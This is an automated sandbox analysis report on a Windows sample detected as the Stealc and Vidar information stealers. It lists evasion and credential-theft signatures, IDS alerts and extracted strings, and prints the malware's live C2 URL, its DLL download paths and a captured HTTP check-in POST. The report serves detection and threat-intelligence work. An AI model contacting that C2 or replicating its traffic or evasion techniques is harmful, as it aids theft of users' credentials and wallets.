Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543075
MD5:	ab2b819b785279099e6de01576a7e770
SHA1:	946919a8c41919aeaac46351f77aad109b1ee187
SHA256:	97eacc2fa69413a5151ead32b4fc9ba3f0fcccf304423aaf3def4ec87b840889
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6460 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AB2B819B785279099E6DE01576A7E770)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2326148225.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2049783064.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.280000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:02.900822+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:02.893723+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:03.185283+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:04.540425+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:03.202680+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:02.602211+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:05.252636+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:13.486137+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:15.265926+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:16.312655+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:17.188313+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:19.194272+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:19.777119+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKECHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 36 41 32 43 32 33 42 39 33 30 31 33 39 39 36 30 39 33 33 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="hwid"A46A2C23B9301399609336------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="build"puma------JDHJKKFBAEGDGDGCBKEC--

Source: file.exe, 00000000.00000002.2326148225.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/freebl3.dll)
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/freebl3.dllC
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/sqlite3.dll5
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/sqlite3.dllc
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php(
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php.
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php2
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php=CV
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpBrowser
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpC
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpC:
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpER
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpFirefox
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpLo
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpN
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpR
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpSH
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpZ
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php_O
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpb
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phper
Source: file.exe, 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpion:
Source: file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpnd
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpv
Source: file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php~
Source: file.exe, 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206e2b1563c6670f193.phpion:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2351059192.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, ECGHJJEH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: ECGHJJEH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, ECGHJJEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, ECGHJJEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: ECGHJJEH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ECGHJJEH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ECGHJJEH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, ECGHJJEH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ECGHJJEH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2267764849.000000002F606000.00000004.00000020.00020000.00000000.sdmp, IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2267764849.000000002F606000.00000004.00000020.00020000.00000000.sdmp, IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2267764849.000000002F606000.00000004.00000020.00020000.00000000.sdmp, IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
